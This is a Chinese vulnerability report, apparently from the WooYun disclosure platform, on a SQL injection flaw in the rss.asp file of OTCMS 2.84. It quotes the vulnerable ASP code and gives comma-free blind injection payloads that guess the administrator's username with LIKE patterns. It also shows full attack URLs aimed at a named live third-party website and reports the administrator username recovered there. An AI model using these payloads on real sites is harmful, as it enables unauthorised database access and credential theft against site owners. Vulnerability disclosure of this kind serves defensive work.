漏洞作者: 语邑尘
网钛文章管理系统(OTCMS)2.84 的 rss.asp 存在注入漏洞。可获取管理员及密码。因密码经过两次CMD5加密,危害较小。
问题代码:
[php]
typeStr = Trim(request.querystring("typeStr"))
maxNum = Trim(request.querystring("maxNum"))
typeWhereStr = ""
typeTitle = ""
If typeStr="announ" Then
typeTitle = SYS_homeAnnounName & SYS_titleSign
typeWhereStr = " and IF_type1ID=-1"
ElseIf InStr(typeStr,",")>0 Then
typeArr = Split(typeStr,",")
typeUbound=UBound(typeArr)
If typeUbound>=2 Then
typeRank = 1
typeRankID = typeArr(1)
If typeUbound>=3 Then
typeRank = 2
typeRankID = typeArr(2)
If typeUbound>=4 Then
typeRank = 3
typeRankID = typeArr(3)
End If
End If
Set typeexe=conobj.execute("select IT_theme from OT_infoType where IT_ID="& typeRankID)
If Not typeexe.EOF Then
typeTitle = typeexe("IT_theme") & SYS_titleSign
typeWhereStr = " and IF_type"& typeRank &"ID="& typeRankID
End If
typeexe.close
Set typeexe=Nothing
[/php]
此文件没有包含通过防注入系统,变量typeStr 获取后经过逗号分割后进入数据库查询,所以只要构造一个特殊的语句让逗号分割后形成注入语句即可。
特殊语句示例:
[php]
rss.asp?typeStr=1234,11 and (select count(*) from OT_member where MB_ID=1 and MB_username like 'w____')>0,888
[/php]
语句经过分割后
[php]
11 and (select count(*) from OT_member where MB_ID=1 and MB_username like 'w____')>0
[/php]
会被代入数据库查询。注入漏洞形成。 因此变量是用逗号分割的,所以注入语句不能有逗号, 要用like 如猜到是5位 则猜a____,b____ 直到返回正确的结果。 另外11这个数值并不是固定的,我的方法是从11试到50,哪个返回的字节数最少就用哪个猜,容易判断。
漏洞证明:
关键字 dynWeb.asp?dataID=
网站1:http://www.hx-x.com/ 手工注入累死人,我只给出正确的结果,乌云可以自己去验证。管理员用户名为:wwwhxx 密码就不猜了 ,猜了也没用。
注入语句:
[php]
http://www.hx-x.com/rss.asp?typeStr=1234,11 and (select count(*) from OT_member where MB_ID=1 and MB_username like 'wwwhxx')>0,888
[/php]
如果将 wwwhxx 换成别的字符 如
[php]
http://www.hx-x.com/rss.asp?typeStr=1234,11 and (select count(*) from OT_member where MB_ID=1 and MB_username like 'abcdefg')>0,888
[/php]
这两次返回的结果是不一样的。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论